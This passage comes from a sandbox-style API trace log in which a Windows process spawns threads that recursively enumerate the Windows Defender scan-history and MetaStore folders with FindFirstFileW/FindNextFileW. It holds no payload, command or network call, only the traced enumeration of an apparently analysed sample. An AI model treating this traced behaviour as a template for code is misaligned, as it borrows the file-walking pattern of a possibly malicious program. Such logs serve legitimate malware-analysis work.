Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3\\*" [0084.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a1f20 [0084.304] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3\\*", lpFindFileData=0x34a1f20 | out: lpFindFileData=0x34a1f20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a3432b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e05d8 [0088.249] wcscmp (_String1=".", _String2=".") returned 0 [0088.249] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34a1f20 | out: lpFindFileData=0x34a1f20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a3432b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.249] wcscmp (_String1="..", _String2=".") returned 1 [0088.249] wcscmp (_String1="..", _String2="..") returned 0 [0088.249] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34a1f20 | out: lpFindFileData=0x34a1f20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a3432b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.249] FindClose (in: hFindFile=0x33e05d8 | out: hFindFile=0x33e05d8) returned 1 [0088.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a1f20) returned 1 [0088.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2600) returned 1 [0088.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ed70) returned 1 [0088.250] RtlExitUserThread (Status=0x0) Thread: id = 1210 os_tid = 0x1024 [0084.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e27b0 [0084.307] wcscpy (in: _Dest=0x33e27b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4" [0084.307] wcscat (in: _Dest=0x33e27b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4\\" [0084.307] wcscat (in: _Dest=0x33e27b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4\\*" [0084.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349e2f8 [0084.307] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4\\*", lpFindFileData=0x349e2f8 | out: lpFindFileData=0x349e2f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a352ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0088.251] wcscmp (_String1=".", _String2=".") returned 0 [0088.251] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349e2f8 | out: lpFindFileData=0x349e2f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a352ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.251] wcscmp (_String1="..", _String2=".") returned 1 [0088.251] wcscmp (_String1="..", _String2="..") returned 0 [0088.251] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349e2f8 | out: lpFindFileData=0x349e2f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a352ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.251] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0088.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2f8) returned 1 [0088.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e27b0) returned 1 [0088.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ec60) returned 1 [0088.251] RtlExitUserThread (Status=0x0) Thread: id = 1211 os_tid = 0x1028 [0084.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33ea9b0 [0084.307] wcscpy (in: _Dest=0x33ea9b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" [0084.307] wcscat (in: _Dest=0x33ea9b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\" [0084.307] wcscat (in: _Dest=0x33ea9b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*" [0084.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349e560 [0084.307] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x349e560 | out: lpFindFileData=0x349e560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1712929f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc28aa444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1712929f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0086.598] wcscmp (_String1=".", _String2=".") returned 0 [0086.598] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x349e560 | out: lpFindFileData=0x349e560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1712929f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc28aa444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1712929f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.598] wcscmp (_String1="..", _String2=".") returned 1 [0086.598] wcscmp (_String1="..", _String2="..") returned 0 [0086.598] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x349e560 | out: lpFindFileData=0x349e560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1712929f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc28aa444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1712929f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.598] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0086.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e560) returned 1 [0086.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea9b0) returned 1 [0086.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb3b0) returned 1 [0086.599] RtlExitUserThread (Status=0x0) Thread: id = 1212 os_tid = 0x102c [0084.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2840 [0084.309] wcscpy (in: _Dest=0x33e2840, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput" [0084.309] wcscat (in: _Dest=0x33e2840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\" [0084.309] wcscat (in: _Dest=0x33e2840, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\*" [0084.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349e7c8 [0084.309] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\*", lpFindFileData=0x349e7c8 | out: lpFindFileData=0x349e7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2297c25, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xc28aac86, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2dde708, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0088.258] wcscmp (_String1=".", _String2=".") returned 0 [0088.259] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349e7c8 | out: lpFindFileData=0x349e7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2297c25, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xc28aac86, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2dde708, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.259] wcscmp (_String1="..", _String2=".") returned 1 [0088.259] wcscmp (_String1="..", _String2="..") returned 0 [0088.259] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349e7c8 | out: lpFindFileData=0x349e7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2297c25, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xc28ab6dc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3040e3a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MputHistory", cAlternateFileName="MPUTHI~1")) returned 1 [0088.259] wcscmp (_String1="MputHistory", _String2=".") returned 1 [0088.259] wcscmp (_String1="MputHistory", _String2="..") returned 1 [0088.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6288 [0088.259] wcscpy (in: _Dest=0x33e6288, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput" [0088.259] wcscat (in: _Dest=0x33e6288, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\" [0088.259] wcscat (in: _Dest=0x33e6288, _Source="MputHistory" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory" [0088.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0088.669] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349e7c8 | out: lpFindFileData=0x349e7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2297c25, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xc28ab6dc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3040e3a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MputHistory", cAlternateFileName="MPUTHI~1")) returned 0 [0088.669] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0088.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e7c8) returned 1 [0088.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0088.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2e70) returned 1 [0088.669] RtlExitUserThread (Status=0x0) Thread: id = 1213 os_tid = 0x1030 [0084.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348b680 [0084.309] wcscpy (in: _Dest=0x348b680, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck" [0084.310] wcscat (in: _Dest=0x348b680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck\\" [0084.310] wcscat (in: _Dest=0x348b680, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck\\*" [0084.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aca20 [0084.310] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck\\*", lpFindFileData=0x34aca20 | out: lpFindFileData=0x34aca20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2958c27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0088.257] wcscmp (_String1=".", _String2=".") returned 0 [0088.257] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34aca20 | out: lpFindFileData=0x34aca20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2958c27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.257] wcscmp (_String1="..", _String2=".") returned 1 [0088.257] wcscmp (_String1="..", _String2="..") returned 0 [0088.257] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34aca20 | out: lpFindFileData=0x34aca20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2958c27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.257] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0088.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aca20) returned 1 [0088.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b680) returned 1 [0088.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b718) returned 1 [0088.258] RtlExitUserThread (Status=0x0) Thread: id = 1214 os_tid = 0x1034 [0084.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x348b7b0 [0084.319] wcscpy (in: _Dest=0x348b7b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" [0084.320] wcscat (in: _Dest=0x348b7b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\" [0084.320] wcscat (in: _Dest=0x348b7b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*" [0084.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34acc88 [0084.320] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d8813, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0088.255] wcscmp (_String1=".", _String2=".") returned 0 [0088.255] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d8813, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.255] wcscmp (_String1="..", _String2=".") returned 1 [0088.255] wcscmp (_String1="..", _String2="..") returned 0 [0088.255] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d8813, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.255] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0088.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34acc88) returned 1 [0088.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b7b0) returned 1 [0088.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2720) returned 1 [0088.255] RtlExitUserThread (Status=0x0) Thread: id = 1215 os_tid = 0x1038 [0084.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x348b848 [0084.320] wcscpy (in: _Dest=0x348b848, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" [0084.320] wcscat (in: _Dest=0x348b848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\" [0084.320] wcscat (in: _Dest=0x348b848, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*" [0084.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ad3c0 [0084.320] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1717573f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d9954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1717573f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0088.259] wcscmp (_String1=".", _String2=".") returned 0 [0088.259] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1717573f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d9954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1717573f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.259] wcscmp (_String1="..", _String2=".") returned 1 [0088.259] wcscmp (_String1="..", _String2="..") returned 0 [0088.259] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1717573f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d9954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1717573f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.259] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0088.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ad3c0) returned 1 [0088.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b848) returned 1 [0088.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3020) returned 1 [0088.260] RtlExitUserThread (Status=0x0) Thread: id = 1216 os_tid = 0x103c [0084.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2960 [0084.321] wcscpy (in: _Dest=0x33e2960, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" [0084.321] wcscat (in: _Dest=0x33e2960, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\" [0084.321] wcscat (in: _Dest=0x33e2960, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*" [0084.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34adaf8 [0084.321] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29da6f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0088.256] wcscmp (_String1=".", _String2=".") returned 0 [0088.256] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29da6f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.256] wcscmp (_String1="..", _String2=".") returned 1 [0088.256] wcscmp (_String1="..", _String2="..") returned 0 [0088.256] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34adaf8 | out: lpFindFileData=0x34adaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29da6f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, 